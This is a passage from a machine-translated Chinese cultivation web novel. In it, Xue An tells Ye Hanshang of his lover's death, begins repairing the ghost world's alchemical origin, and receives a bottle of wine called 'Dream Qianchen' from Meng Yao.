    After seeing these people wearing metal armor, Wen Mu Ling and others were a little dumbfounded.


    But at this moment, only a long laugh came from the sky.


    "Hahahaha, Old Xue, I just talked about you to the monk, I didn''t expect you to return so soon!"

 Chapter 1538： Guess who I saw?

    With the voice, two Huaguang appeared in the courtyard instantly.


    After Guanghua dissipated, it was Ye Hanshang and Jin Jue.


    Seeing his brother finally appeared, Wei Qing couldn''t help but let out a deep breath.


    Now she dare not face Xue An alone.


    Because that''s the master Shenhuo Guizun who is as famous as his brother.


    Don''t look at Ye Hanshang''s elder sister, but Wei Qingxiao is very self-aware.


    Now that my brother is back, I can finally save my brains.


    At this moment, Ye Hanshang glanced at He Yinuo and the others, especially noticing the metal armor they were wearing. His expression was slightly shocked, and he walked up with a smile on his face, and lightly punched Xue An on the shoulder.


    "Old Xue, you''re pretty good!"


    Xue An also smiled, "It''s okay!"


    At this time, Jin Jue stepped forward and asked for a question, "Nan Wuwu Buddha, seeing the safe return of Xue Shizhu, the little monk is relieved!"


    Xue An took a deep look at Jin Jue, and then said with a smile: "Congratulations, the monk has finally broken through that trace of boundaries, stepped into the invisible ground, since then, incarnate without hindrance, happy in the world!"


    Jin Jue showed a smile when he heard the words, "Donor Xue really has good eyesight, but I still can''t be regarded as a true invisible bodhisattva."


    Xue An waved his hand, "I know, but don''t worry, it will be done soon! And I will give you a great luck to the monk at that time!"


    Jin Jue showed a trace of consternation, obviously not understanding what Xue An meant to give himself a good luck.


    Not only him, Ye Hanshang is also like falling into the fog of Wuli, but he understands one meaning.


    Since Xue An said that Jin Jue would become a real invisible bodhisattva soon, wouldn''t he have a certainty to restore the origin of the ghost world?


    Seemingly feeling the doubts between Ye Hanshang and Jin Jue, Xue An smiled slightly, "These are my friends, all the way around, let''s arrange for them to stay!"


    Naturally, without Ye Hanchang''s hands, Wei Qingxiao and Wen Muling stepped forward to nod at He Yinuo, Nalan Zhongqin and others.


    "Everyone, please follow me!"


    Soon, these people who followed Xue An were taken elsewhere to entertain them.


    Most of this small courtyard has been collapsed by the earthquake, so it is naturally not suitable for living.


    But in another set of quiet courtyards, Xue An, Ye Hanshang and Jin Jue sat opposite each other. The tea set in front of them was wafting with water vapor. It was not until the tea was completely boiled that Xue An picked up the teapot for Ye Han. Chang and Jin Jue filled a cup of tea.


    Ye Hanchang had already scratched his ears and cheeks anxiously, but when he saw this, he still patiently picked up the teacup and took a sip, then he couldn''t wait to ask.


    "Old Xue, quickly talk about it, what''s going on? How do you plan to save the origin of the ghost world?"


    "Don''t worry! After walking so far, I will finish drinking this cup of tea first!" Xue An said lightly, and then took a sip from the cup.


    Ye Hanchang was too anxious, and he was not afraid of getting hot. He drank his tea in one sip, and then said: "Okay, I''m done drinking, you can say it quickly!"


    Xue An raised his eyebrows slightly, "Who said you let you finish it? I mean let me drink it first!"


    Ye Hanshang: "..."


    Jin Jue couldn''t help laughing when he saw this, and then raised his cup and bowed his hand at Xue An.


    "Although the little monk doesn''t know how the donor is planning, it is clear that the donor has a clear mind, so I don''t have to ask more. I respect you for this cup of tea!"


    After finishing talking, Jin Jue drank the tea, then stood up and made a call to the chief, "Nan Wuwu Buddha, the little monk came here to welcome the donor, but now I see the donor is safe and greedy you for a cup of tea, little monk. I''ll leave first!"


    Xue An groaned after hearing the words, and then nodded, "It''s okay, anyway, this matter will take some time. Since the monk wants to leave, let''s go first, and then come back later!"


    Jin Jue nodded and turned to leave.


    Ye Hanshang quit, "Hey, monk, how can you just leave and leave? Don''t you wonder how Old Xue saved the ghost world?"


    Jin Jue shook his head, "Didn''t the little monk just say it? Since Donor Xue is so confident, he obviously has a safe plan. In this case, what else can I ask?"


    Ye Hanchang became more anxious, "But... but don''t you want to know what he said to give you a good luck?"


    Jin Jue smiled freely, "Everything will be revealed when the time comes. If you know it in advance, wouldn''t it be less fun?"


    After that, Jin Jue stopped staying, flew up, and disappeared in a blink of an eye.


    Ye Hanchang stared blankly at the direction Jin Jue was leaving, and stomped bitterly after a while, "This dead bald donkey is really angry with me!"


    Xue An said with a smile: "Okay! Buddhism always emphasizes resignation. It is only natural that he is not curious! It is you..."


    "Me? What''s wrong with me?" Ye Hanshang looked dumbfounded.


    Xue An put down his tea cup in his spare time and looked at Ye Hanshang with a smile, "Guess, who did I see in the alchemy civilization?"


    Ye Hanchang was startled suddenly, then his complexion quickly turned pale at a speed visible to the naked eye.


    "You...you mean..."


    Xue An nodded, "Yes, that''s the one you think about and mumble several times even when you are drunk, but you dare not meet!"


    Ye Hanchang lowered his head and was speechless, until a moment later, he whispered: "She... is she okay?"


    There was no smile on Xue An''s face, and she looked at Ye Hanshang quietly.


    Ye Hanshang was so frizzled by him, an ominous premonition suddenly appeared in his heart, and he couldn''t help but ask in a low voice: "She...what''s wrong with her? You mean!"


    Xue An lowered his head and sighed softly: "She is dead!"


    The voice of this sentence was very soft, but it fell in Ye Hanchang''s ears like a thunder.


    He suddenly shook his whole body, his face turned pale as paper, and then said in a trembling voice.


    "No...impossibleOld Xue, are you kidding me, right? It must be so ha ha ha ha, how could she die so easily?"


    Upon seeing this, Xue An shook his head and said softly: "I''m sorry, I also think this is teasing you, but all of this is true!"


    With that, Xue An took out the thing that Wan Han entrusted Xue An to give to Ye Hanshang before he died, and gently placed it on the table.


    After seeing this alchemy vessel like a USB flash drive, Ye Hanshang''s pupils instantly shrank to the size of a pinpoint, and his figure became even more shaky.


    Because as he is also familiar with alchemy civilization, he naturally understands what this thing means.


    "She asked me to bring this to you before she died, saying that after you read it, you understood everything!" Xue An said with a bit of irritation.


    And these words also seemed like a heavy hammer, ruthlessly shattering all Ye Hanchang''s fantasies.


    He tremblingly picked up the alchemy vessel on the table, and then placed it on his forehead.


    Click!

 Chapter 1539： Husband, the way you just looked... well...

    After a crisp sound, this alchemy vessel merged into Ye Hanchang''s sea of ??consciousness like water.


    Then Ye Hanshang stood in place like a statue, and his eyes lost their luster.


    Xue An knew that this was because Ye Hanshang''s divine sense entered the alchemy vessel to seek answers.


    It stands to reason that normally only a single divine mind is enough for this kind of thing, but now Ye Hanshang obviously put all the divine mind into it, and the whole person is in a completely undefended state.


    In this state, any strong person might be able to severely injure Ye Hanshang.


    Xue An couldn''t help but sighed lightly, and then sat aside silently, protecting Ye Hanshang.


    I don''t know how long it took, anyway, the charcoal fire in the furnace in front of Xue An had been changed three times, and then he heard a very faint whimper from Ye Hanchang''s mouth.


    Immediately afterwards, Ye Hanchang was in tears, crying completely into tears.


    Xue An didn''t persuade him, but looked at it distressedly. It was only after a while before he stood up and patted Ye Hanshang''s shoulder gently.


    "Well, now that you have found the answer in your heart, stop crying!"


    But this action completely collapsed Ye Hanshang, who was in an extremely vulnerable and sensitive state. He hugged Xue An and started crying loudly.


    "Laoxue ...... I ...... I **** bastard! I was actually a misunderstanding Han children with other men, the results ...... result the man was her elder brother ah! Ohh ohh!"


    When Ye Hanchang hugged him, and swayed his nose and tears on the clothes on his chest, Xue An became stiff, and a violent force directly appeared on his eyebrows.


    Xue An vowed that if others dared to hold himself like this, he would be dead now.


    But seeing that Ye Hanshang is his own brother, and now he has just lost love, Xue An reluctantly suppressed the discomfort in his heart, and took a deep breath of composure.


    "Okay, I know, but can you let go now..."


    But before he could finish his words, Ye Hanchang cried again.


    "Uuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu. "


    As he cried, the surrounding vegetation instantly withered, and then turned into powder.


    Xue An frowned with a headache, and muttered to herself.


    Can''t be angry, can''t be angry!


    After all, he is his own brother. Now he has just lost his relationship. Give him a chance. As for this dress...


    After a while, I burned it with Red Lotus Karma.


    When Xue An was secretly ruthless, he suddenly felt his eyebrows hot, and then Fu Bao Xiaolou flew out of it.


    Xue An''s heart shook. He immediately understood something and shouted: "Yan''er, it''s okay, you don''t..."


    It''s a pity that he said it was a bit late, that is, at this moment, An Yan walked out of the Fubao Xiaolou, and asked with some doubts as he walked.


    "Husband, what is going on outside? Who is crying so loudly!"


    The last word stopped abruptly.


    Because An Yan was already stunned, she stared blankly at Xue An, who was tightly hugged by Ye Hanchang who was crying not far away, with a gloomy face, the expression on his face gradually became stunned, his eyes It also became bigger and bigger.


    Xue An took a deep breath, and then coughed twice, "Ahem...Yan''er, things are not what you imagined. Ye Hanshang has just fallen out of love, so he is a little emotional, which is also forgivable. Hahaha... ."


    An extremely strange look gradually appeared on An Yan''s face, "Husband, actually... you don''t need to explain! I understand..."


    Xue An was so depressed that he almost vomited blood, and wanted to shout aloud, what do you know?


    But he couldn''t do that. He could only say with a wry smile: "Yan''er, don''t be blinded by the appearance in front of you, what do you think of me..."


    But many things today seem to be deliberately going against Xue An, at this moment, a voice full of joy came from a distance.


    "My lord, you are finally back..."


    The last word "A" turned into a soprano aria directly because of the shock. I saw Zang Xueling who appeared in the field, and looked at Xue An and Ye Hanshang who were "holding together" with a dull face.


    The thick black line on Xue An''s forehead is about to become a whole, but at this time, he can only bite the bullet and explain.


    "Uh... this guy is broken in love, so..."


    But Zang Xueling, who had hidden a certain evil spirit, did not listen to these explanations at all. She saw a big smile gradually bloomed on her face, and then glanced at An Yan not far away, a moment in her mind. The brain made up a wonderful drama in which Zheng Gong Niang was angrily catching the male third, and then she cleverly lowered her head and said in a low voice.


    "excuse me!"


    After that, she turned and ran.


    Xue An felt that the consciousness of his whole person was a little unstable with anger.


    What is interruption?


    This **** fell into the quagmire, how can it be washed away!


    But this is not the key. The key is that Xue An noticed the growing smile on Yan''er''s face and the excitement in his eyes.


    Although I feel that Ye Hanshang is really pitiful now, Xue An feels that if this continues, it will be himself who is the pitiful.


    Therefore, he kicked Ye Hanshang, who was still crying, without hesitation, but because of the emergency, the kick was a little heavier, and he directly kicked Ye Hanshang out across the wall.


    At this time, Ye Hanshang in midair couldn''t help crying louder.


    But Xue An didn''t care so much anymore. With a wave of his hand, the red lotus industry fire swept through his body, directly burning the suit on his body to nothingness.


    Immediately after being covered by the fire, Xue An opened the mustard seed ring and took out a new set of clothes and put on it.


    After finishing all this, Xue An took a breath, then sorted out his emotions, took a few steps forward, and smiled at An Yan.


    "Yan''er To be honest, An Yan wanted to make a mockery of Xue An.


    Because she had never seen Xue An, who was omnipotent in her eyes, so flustered.


    But when she saw Xue An''s pretentious calm look and the uncomfortable feeling that she was born with fleas, she finally couldn''t help laughing.


    The sound at the beginning was still a bit small, but gradually, her laughter became louder and louder, and by the end the whole person was too happy to straighten up.


    The expression on Xue An''s face is like this "�ѡ�"!


    It wasn''t until a long time later that An Yan smiled so much that she was almost exhausted.


    Xue Ancai couldn''t help but frowned and asked, "Yan''er, what are you laughing at?"


    Unexpectedly, his question caused An Yan, who was about to stop, to laugh again. In the end, he held his stomach feebly, lay on Xue An''s shoulders, and then stood on his toes and whispered in Xue An''s ears.


    "Husband, the way you just looked... so cute!"

 Chapter 1540： To untie the bell, you must tie the bell, one last...

    lovely����.


    This adjective made Xue An hard to laugh or cry, but he was reluctant to "punish" An Yan, so he had no choice but to squeeze her nose.


    "You, what are you thinking about in this little head!"


    "Hee hee!" An Yan smiled like a flower, "I didn''t think about anything! I just happened to see a man crying and hugging my husband, so I just felt it!"


    Xue An: "..."


    "Can we not mention this?"


    An Yan nodded, "Okay!"


    Xue An was about to take a breath when he heard the words, but at this moment, An Yan leaned closer, licked his lips lightly, and said with a very charming smile: "But you have to admit that you are cute!"


    Xue An: "...(��_��;)..."


    Seeing Xue An''s current expression, An Yan''s eyes are getting brighter and brighter, like a child who has discovered a novel toy, and her excited face shines.


    "Yes, that''s the expression! Oh my god, it''s so cute!"


    At the same time, there was a sound of taking pictures. Xue An turned around and saw that Hu Ying put down her phone, with a satisfied expression on her face. Even when she saw Xue An look over, she was even more triumphant. Gesture.


    An Yan leaned over, "Have you been photographed?"


    "Of course! My photography skills are great, how could I miss such a wonderful moment!"


    Hu Ying said proudly, and then opened the album.


    At this moment, Zhang Xiaoyu also leaned over, touching his three heads together, looking at the photo on the screen, his eyes widened gradually, and a mysterious smile appeared on his face.


    "I didn''t expect adults to be so cute sometimes!" Zhang Xiaoyu sighed suddenly.


    An Yan and Hu Ying nodded in agreement.


    But at this moment.


    A ray of flame appeared in Hu Ying''s hands, and instantly burned the phone to nothingness.


    "Ah!" The three were taken aback, and then looked at Xue An together.


    Xue An shrugged his shoulders with an innocent look, "Uh...I''m sorry, the red lotus industry fire suddenly got out of control just now, it didn''t burn you Yinger!"


    Three people: "..."


    This episode passed so happily.


    But Ye Hanchang outside the wall cried more and more miserably.


    Listening to this whimpering cry, An Yan asked with some worry: "Is he okay?"


    Xue An smiled slightly, "Don''t worry! You will be fine soon!"


    As he said, Xue An stepped in the air and walked to the top of the wall a few steps, watching Ye Hanshang, who was kicked to the ground outside the wall, still crying, frowned.


    "Okay, don''t cry!"


    "Ouuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuuu , And kicked me out, is this a human thing?"


    Ye Hanshang mourned his lover while talking about his "tragic experience."


    But Xue An obviously didn''t eat his way, so he raised his eyebrows slightly, "Will you still cry? Okay, let''s just cry here! It seems that Wan Han is really inhumane. He obviously has a chance to live. Came here, but was delayed by a fool who only knew how to cry!"


    After that, Xue An turned and went down the wall, and walked into the house.


    But after hearing what Xue An said, Ye Hanchang, who was crying like a tearful man, stood up with a carp, took a step, and rammed a big hole in the wall in front of him, and then appeared in Xue An. In front of him, blocking the way.


    "What did you just say?" Ye Hanchang asked sincerely.


    Xue An looked at him with a smile, "What did I say?"


    "No, you just said clearly that Wan Han has a chance to survive! Tell me what the chance is!" Ye Hanshang asked impatiently.


    "Oh? Did I say that?" Xue An asked pretending to be puzzled.


    "Brother Xue, you are my own brother, please tell me! I know you, as the returning body of Xianzun, there must be a way to save Wan Han!" Ye Hanshang almost knelt down.


    Upon seeing this, Xue An couldn''t bear to tease him anymore, and said sternly: "In fact, I have been perfecting this idea since Wan Han died. In the end, I feel that the root of everything must be worked on with the alchemy vessel she left you! "


    "You mean..."


    Xue An nodded, "Wan Han left you the last ray of his spiritual thoughts, which happened to leave her with a chance! But if you want to save her, there is only one way!"


    "any solution?"


    "Untie the bell and you must tie the bell. Since she died for alchemy, only alchemy can save her!"


    The fire of hope rekindled in Ye Hanchang''s eyes, and he whispered softly: "You must tie the bell to untie the bell..."


    Then he suddenly raised his head to look at Xue An, "Brother Xue, can you save her?"


    Xue An shook his head, "I can''t do it!"


    Ye Hanchang''s expression immediately went down.


    "Because I am only rough in alchemy, far from talking about how profound knowledge I have, but I can''t do it, but it doesn''t mean that others can''t do it either!"


    "Who else can do it? When I left, Wan Han was already the top creator of alchemy civilization, not to mention that the current alchemy civilization doesn''t even have a master creator!"


    Looking at Ye Hanshang with a gloomy look, Xue An sighed lightly and said lightly: "But there is more than one puddle!"


    "Huh?" Ye Hanshang didn''t understand what it meant.


    Xue An went on to say: ��According to Wan Han himself, after the alchemy civilization that had dominated the heavens fell apart, they were not the only puddles left behind, there were many other branches!��


    "I also know this, but those are just small sects, and they are not a climate at all!"


    "Hehe, have you thought about it, what about outside the heavens?"


    "Outside the heavens?"


    Xue An nodded and then raised his hand, a layer of alchemical armor appeared on his palm.


    "Actually, before entering this alchemy civilization, I had high expectations, hoping to unlock the secret of this armor, but in the end I failed because even Wan Han did not know the origin of this armor, she It��s just that when they were prosperous, this armor already existed!"


    "So this is likely to come from an alchemy civilization outside the heavens. The alchemy skills used in it are far beyond Wan Han''s imagination. This also means that there must be a big puddle outside the heavens, even... It is a vast ocean than the alchemy civilization in its heyday!"


    Ye Hanshang was completely shocked by Xue An''s words, and said in a quiet tone: "Alchemy civilization beyond the heavens..."


    "Yes! If you want to save Wan Han, this should be the only chance!"


    After listening to Xue An''s words, Ye Hanshang''s expression gradually became firm, and he nodded solemnly.


    "Brother Xue, thank you!"


    Xue An smiled, "Are you still so polite between you and me?"

 Chapter 1541： Repair start

    "This is not polite, but a thank you from the heart!" Ye Hanshang held the alchemy vessel very solemnly.


    "Because you gave me a hope! Although this hope is very slim, it is at least a hope!"


    Xue An was silent for a while, and finally patted Ye Hanchang''s shoulder lightly, "Come on!"


    Ye Hanshang raised his head very moved, "Brother Xue..."


    But then Xue An''s words completely dispelled his touch.


    "Remember you owe me a dress!"


    Ye Hanshang: "..."


    "Okay, I will buy you a dress now!"


    "Let''s owe it first, when I think of it, you can pay me back!" Xue An said with a smile.


    The storm passed like this.


    Although heartbroken by the departure of his first love, the hope that he finally got was not too slim, but Ye Hanshang quickly cheered up.


    Therefore, when the two little girls, Xiangxiang and Niannian, saw Ye Hanchang, he had already returned to normal.


    But the thinking that I was used to analyzing everything still saw some clues, "Uncle Ye, why are your eyes red?"


    "Yes, it seems to have cried!" Nian Nian also said.


    "Ah, I accidentally flew a bug in my eyes just now, so I am a little red! I miss you, you two have been out for so long, did you bring a gift for Uncle Ye?" Ye Hanshang quickly changed the subject .


    After all, it was a child. A very simple trick made Xiang and Nian forget the strangeness, and then nodded solemnly.


    "Of course there is!"


    With that said, thinking and Niannian turned their backs very mysteriously, and suddenly handed them forward.


    "Look, what is this?"


    In the hands of the two little girls are two cute little beasts.


    After seeing these two little beasts, Ye Hanshang couldn''t help but be surprised.


    But the two little beasts who reacted the most, saw that they felt the aura of the fairy king from Ye Hanchang, and they fainted without hesitation.


    After all, for their existence, the power of the immortal king is almost enough to directly crush them.


    But the two little girls didn''t know this, they were introducing them very seriously.


    "Uncle Ye, I caught the little beast in that world. It''s called Xiao Pang!"


    "My name is Xiaonian!" Nian Nian added.


    "They are all our very good friends, now I give it to you!" Think about it, said sadly.


    Nian Nian is no exception, even tears are already in her big eyes.


    Ye Hanshang chuckled, "Good boy, uncle is very happy, but they are your friends, so uncle can''t have it!"


    "No! Because Dad said, these two little beasts are not suitable for following us, letting them stay by your side will have a greater effect!" Think about it and said very seriously.


    Ye Hanchang was startled, then raised his eyes to look at Xue An.


    Xue An nodded, "Accept it! These two little beasts are pets by Wan Han, I think she should hope these two little beasts stay with you!"


    Hearing that it was Wan Han''s pet, Ye Hanshang couldn''t help feeling a little moved, and finally nodded, squatted down, and said to the two little girls very seriously.


    "Thank you for missing me, my uncle will take good care of these two little beasts!"


    "Hmm!"


    At this moment, Xiao Pang and Xiao Mian happened to woke up, but when Ye Hanchang stretched out his hand to pick them up, the two poor little beasts turned their eyes and fainted again.


    "Sure enough, as timid as their owner!" Ye Hanchang sighed lightly, and included it in his personal space.


    Wei Qingxiao and Wen Muling led Miss Miss to the garden behind to play.


    An Yan and Huying Zhang Xiaoyu also followed suit to relax.


    When everything became quiet, Ye Hanshang''s complexion became very solemn.


    "Old Xue, you and I were a little wrong at the time. At the current rate, within 50 years, this world will be completely dead, and there will be no chance of salvation!"


    Xue An nodded, "I noticed it!"


    "Then how are you going to save?" Ye Hanshang asked again.


    Xue An smiled, "Did you see those who followed me?"


    Ye Hanchang was taken aback, and then shook his head, "Just rely on them? It''s impossible. The source of the ghost world has a huge alchemy power, and these people can''t repair it!"


    "Of course it''s not just them!" As he said, Xue An raised his hand, and the exquisite Rubik''s Cube appeared in his palm.


    Upon seeing this, Ye Hanshang was shocked and lost his voice: "The key to the alchemy world!"


    Xue An nodded, "Wan Han gave it to me before his death!"


    Ye Hanchang stared at this perfect Rubik''s Cube, before saying, "You plan to save the ghost world with this thing?" after a long silence.


    "Yes!" Xue An slowly closed his palms, holding the Rubik''s Cube in his hand again.


    "But only with this thing, it doesn''t seem to be possible!" Ye Hanshang said hesitantly.


    Xue An smiled, "That''s why I carefully cultivated these alchemists and let them help me! And not only them, including you, many powerful people in the ghost world have to work hard together, and then there is hope for a change. day!"


    Ye Hanshang''s expression was solemn, and he nodded solemnly, "Okay! This is naturally no problem!"


    Ye Hanchang left, and Xue An stood in the courtyard, looking at the fading sky, a complex light flashed in his eyes.


    "I hope... everything goes well!"


    In the next few days, He Yinuo, Nalan Zhongqin and other people who came with Xue An recharged and prepared everything.


    Immediately afterwards, Xue An and Ye Hanshang joined hands to open the channel leading to the origin of the ghost world and led everyone into it.


    At this moment, the scene in the origin of this ghost world has become increasingly dilapidated.


    Countless gear structures have been damaged There is also a smell of metal rust in the air.


    Xue quietly scanned the audience, and then ordered: "Your task now is to repair these damaged alchemy structures, understand?"


    He Yinuo and the others looked at each other, and they all saw the horror in each other''s eyes.


    Because they didn''t expect that the task Xue An asked them to complete was to restore the origin of the world.


    The difficulty of this task is beyond the imagination of ordinary people.


    "Huh?" Xue An raised his eyebrows slightly, "Not confident?"


    Nalan Zhongqin stepped forward and said: "Of course not, but my lord, the origin of this world has obviously been completely damaged, and repairing these alchemy structures alone will not help!"


    Xue An said indifferently: "I know all of these, I have my own way, you only need to repair these structures!"


    Hearing what Xue An said, everyone had nothing to say. On the contrary, they were all excited because they were able to participate in such a magnificent project.

 Chapter 1542： Dream before dust!

    "Yes! We will definitely live up to our mission!"


    Xue An nodded, "In that case, let''s start work!"


    For a time, everyone was fully devoted to this vast work.


    This land of origin has turned into a huge construction site, a scene of extreme busyness.


    Xue An stood on a high place, looking at the busy people underneath, a faint smile appeared on the corner of his mouth.


    Ye Hanshang couldn''t help but exclaimed, "These people have higher alchemy literacy than everyone I met before! How did you do it?"


    "It''s very simple, just let them keep making progress in research and development!" Xue An said lightly.


    "Then what shall we do next?"


    "Next..." Xue An turned to look at Ye Hanshang, "It''s up to you!"


    "I?"


    "Yes, according to this schedule, at most one month, the general framework will be repaired, but that is just the beginning. To get everything back to work, what is needed is the combined efforts of the whole ghost world!"


    Hearing what Xue An said, Ye Hanchang was startled slightly, and immediately understood something, nodded and said: "I understand, the rest... leave it to me!"


    The ghost world is very peaceful recently, even as calm as a pool of stagnant water.


    But beneath this calm surface is the anxious and turbulent heart of the strong from all sides.


    The situation in the ghost world is getting worse.


    This can be seen from the increasingly degraded strength of the strong on all sides.


    There is nothing more frustrating than waking up every morning to find yourself weaker than yesterday.


    Especially for these powerful people who regard their own strength as the foundation of everything.


    This is just like chronic death, it''s desperate.


    However, Ye Hanshang, who had returned to the throne of Mingjun, seemed to turn a deaf ear to all this, and had no intention of saving it.


    In this case, the undercurrent of the entire ghost world surging, and the atmosphere began to become tense gradually, as if a gunpowder keg filled with gunpowder was brewing a panic.


    But at this moment, a shocking news broke out from the Wei family in the Central Ghost Realm.


    Mingjun Ye Hanshang will hold a conference in a month''s time, when he is going to invite all the strong people in the ghost world to participate, the purpose... is to save the ghost world that is gradually dying.


    As soon as this news came out, it immediately caused a sensation in the entire ghost world.


    The many strong ghosts who had been in despair rushed to tell each other and wept with joy, thinking that Ye Hanshang was finally willing to take action, and everything had hope.


    But there are still many people who are sitting on the sidelines and don''t think this conference can change anything.


    Because they can feel that what is dead is the origin of the entire ghost world.


    Even if Ye Hanshang is an immortal king-level underworld prince, it is impossible to save the origin of a realm on his own!


    At the same time, there are many ghost clan powerhouses who are very frightened that this conference is obviously not that simple.


    It is very likely that Ye Hanshang is ready to attack the strong from all sides.


    But this conjecture didn''t get too much recognition, because if Ye Hanshang really wanted to reap the ghost world powerhouses again, he wouldn''t have to bother so much.


    In short, when the news came out, the entire ghost world was shrouded in a strange atmosphere mixed with hope, disdain, hesitation, and panic.


    Endless desert.


    Although this place has long been covered by endless green, the name of this place has not been changed because everyone is used to it.


    Donghan hasn''t seen himself, Lord City Lord, for a long time.


    Even Mingjun Ye Hanshang came to beg for a drink several times, and Donghan came forward to entertain him.


    The only chance she can come into contact with Meng Yao is to go to the backyard every day.


    If there is a wine jar placed in front of the backyard sealed by the barrier, it means that the lord of the city has new income in winemaking.


    But other than that, even if it''s winter cold, it''s hard to meet Meng Yao.


    In this regard, when the winter cold began, he was a little worried, afraid that the Lord of the City Lord would do something inside.


    But over time, winter cold will get used to it.


    Because she also knew that she couldn''t persuade her.


    Today is no exception.


    Donghan finished the chores in the city, and then came to the backyard.


    The door was empty and there was nothing.


    Donghan frowned.


    It''s been several days now!


    Nothing appeared in front of the backyard.


    In the past, new wine would appear almost every other day.


    But this time there was no news for many days.


    How is this going?


    Could it be that the Lord of the City has something wrong?


    At this point, Donghan''s heart couldn''t help but clenched, and then gritted his teeth, walked to the backyard door, raised his hand and patted.


    Bang bang bang.


    The knock on the door is very dull,


    Because the entire backyard has actually been tightly covered by layers of barriers.


    Donghan didn''t know if his knock on the door could be transmitted inside.


    But worrying about the city lord, she is still ready to attract the attention of her as much as possible.


    It''s better to call out Lord Santo.


    But she patted it for a full quarter of an hour, and there was no sound in it except for the shaking of her hands.


    This can not help making Donghan become discouraged. Can only stand in front of the door and whisper.


    "City Lord, you have been in retreat for so long, and you should come out! The news from Lord Mingjun a few days ago that a conference will be held to study things in a month. It seems that there are still more than ten days! You! You have to participate!"


    Still no response.


    Donghan sighed softly, then turned and left.


    But just when she had just turned around and walked a few steps, a creak suddenly came from behind her.


    Donghan was stunned and turned his head to look, but saw that the courtyard door was opened from the inside. After a long time of retreat, the pale Meng Yao money came out of it.


    Donghan was dumbfounded, and then he woke up, and rushed up ecstatically.


    "City Lord!"


    When he got closer, Donghan smelled a scent of alcohol coming from Meng Yao.


    This wine smell is different from those strong drinks in the past, with a hint of sweetness, but just a touch of it makes Donghan feel a little shaken.


    Donghan stood still and smiled at Donghan, "Thanks for your hard work during this time!"


    Donghan hurriedly said: "The city owner is polite, this is the responsibility of the subordinates!"


    Then she couldn''t wait to say: "City Lord, did you hear what I said just now? A month later..."


    Meng Yao waved her hand, "Needless to say, I know it!"


    With that said, Meng Yao turned to look in the distance, and said lightly: "And not only Mingjun, he... is back!"


    Although it was not clearly stated who it was, seeing the look on the face of Lord City Lord, Donghan could also guess who came, and couldn''t help being shocked.


    "Master Guizun has also returned?"


    Meng Yao smiled, "Yes, and it''s been several days since I returned!"


    Hearing Meng Yao''s words, Donghan was taken aback.


    "Then you..."


    She wanted to say why she knew that Xue An had returned long ago, but Meng Yao never appeared.


    After all, if in the past, after knowing Xue An''s return, Meng Yao would rush over without exception, no matter what he was doing.


    She seemed to notice what Donghan wanted to ask, Meng Yao smiled, "Do you want to ask why I didn''t go to him?"


    "I am really confused!"


    Meng Yao raised her head and said lightly: "Because I was brewing a wine when he returned! A wine that is the ultimate in all the spirits in the world! So I couldn''t get out at that time!"


    Donghan was stunned when he heard the words, a wine that is the ultimate in all spirits in the world?


    Then she suddenly realized something, and the whole person was shocked, "Then you now..."


    Meng Yao raised his hand, holding a small sapphire bottle, which could be seen through the thin cicada-winged bottle, which contained an amber wine.


    "It seems to be to welcome his return, this wine miraculously brewed successfully!"


    Donghan looked at the little bottle infatuated, "What a beautiful wine! It looks like a dream!"


    A faint smile appeared on Meng Yao''s face, "Yes, so I call it, Dream Qianchen!"

 Chapter 1543： Alcoholic

    "Meng Qianchen?" Donghan whispered softly.


    "Yes!" Meng Yao gently rubbed the sapphire wine bottle, and said lightly: "There are some things that are better than to be forgotten, it is better to seal them deep in your heart and turn them into dreams! And..."


    A touch of pain and relief flashed in Meng Yao''s eyes, "Really! Meng! How many can really be distinguished? Many times, it''s just a farce of drama! The drama broke up, and people left. Up!"


    These incomprehensible words came out slowly from Meng Yao''s mouth, his tone was as flat as a storyteller who was out of the way, telling something about the past for a long time.


    Although Donghan didn''t understand the meaning of Meng Yao''s words, she could see that her state as Lord City Lord was very dangerous at this moment.


    Therefore, she took a few steps quickly and whispered: "City Lord, since Lord Guizun is in the Central Ghost Realm now, do you want to go now?"


    When Meng Yao heard the words, the confusion on his face faded a little, and then shook his head, "No need! Since the conference is going to be held in more than ten days, I will go again then!"


    After that, Meng Yao turned around and left, leaving Donghan alone.


    This is not right!


    If it were left in the past, the city chief knew that Lord Guizun had returned, and he would definitely rush past it desperately.


    But this time it was uncharacteristically, and it seemed that he was not anxious at all.


    Could it be... the city lord has come out of his admiration for Lord Guizun?


    These thoughts writhed in Donghan''s mind. At the same time, Meng Yao said without looking back: "Oh, yes, don''t tell anyone about my exit! No matter who comes, I won''t see you either!"


    "Yes!"


    Meng Yao left, but Donghan''s face showed a hint of excitement.


    Maybe I guessed it right.


    If the city lord can really come out, that would be great!


    At least, even Donghan is not optimistic about Meng Yao''s relationship.


    But Donghan, who left with a smile on his face, didn''t know. After returning to the house, Meng Yao didn''t hesitate at all, walked to the desk and wrote a short letterhead.


    After writing, Meng Yao reviewed it briefly, and then packed the letterhead with the sapphire wine bottle, then raised his slender hand, and lit a rune in the air. The space was faintly rippled. The good wine bottle and letterhead are handed forward.


    These two things disappeared in the ripples.


    After doing all this, Meng Yao stood there infatuatedly, and only sighed a long time later.


    At the same time, in the Wei family of the Central Ghost Realm, Xue An, who was discussing with Ye Hanshang, raised his eyebrows slightly.


    Immediately after that, a layer of ripples appeared in the space in front of him, and then the sapphire wine bottle and letter paper fell out of it and suspended in front of him.


    Ye Hanchang was startled first, and then he felt a familiar breath from these two things, and his face couldn''t help showing a meaningful smile.


    "Tsk tusk, I have been there a few times and haven''t even seen it. Just when you came back, this Palace Master Meng delivered the things directly!"


    Xue An ignored Ye Hanshang''s smirk, raised his hand to take out the letterhead, and opened it up. There was a line of words written on it in graceful handwriting.


    "You return to Jiucheng, I would like to offer one!"


    The signature is, Meng Yao!


    Xue An was silent for a moment, then picked up the sapphire bottle and gently rubbed the three characters engraved on the bottle.


    "Meng Qianchen..." Xue An whispered.


    Ye Hanshang couldn''t wait to come over, "Hey, it seems that Dian Master Meng has brewed new wine again, it looks pretty good, why not open it and try it!"


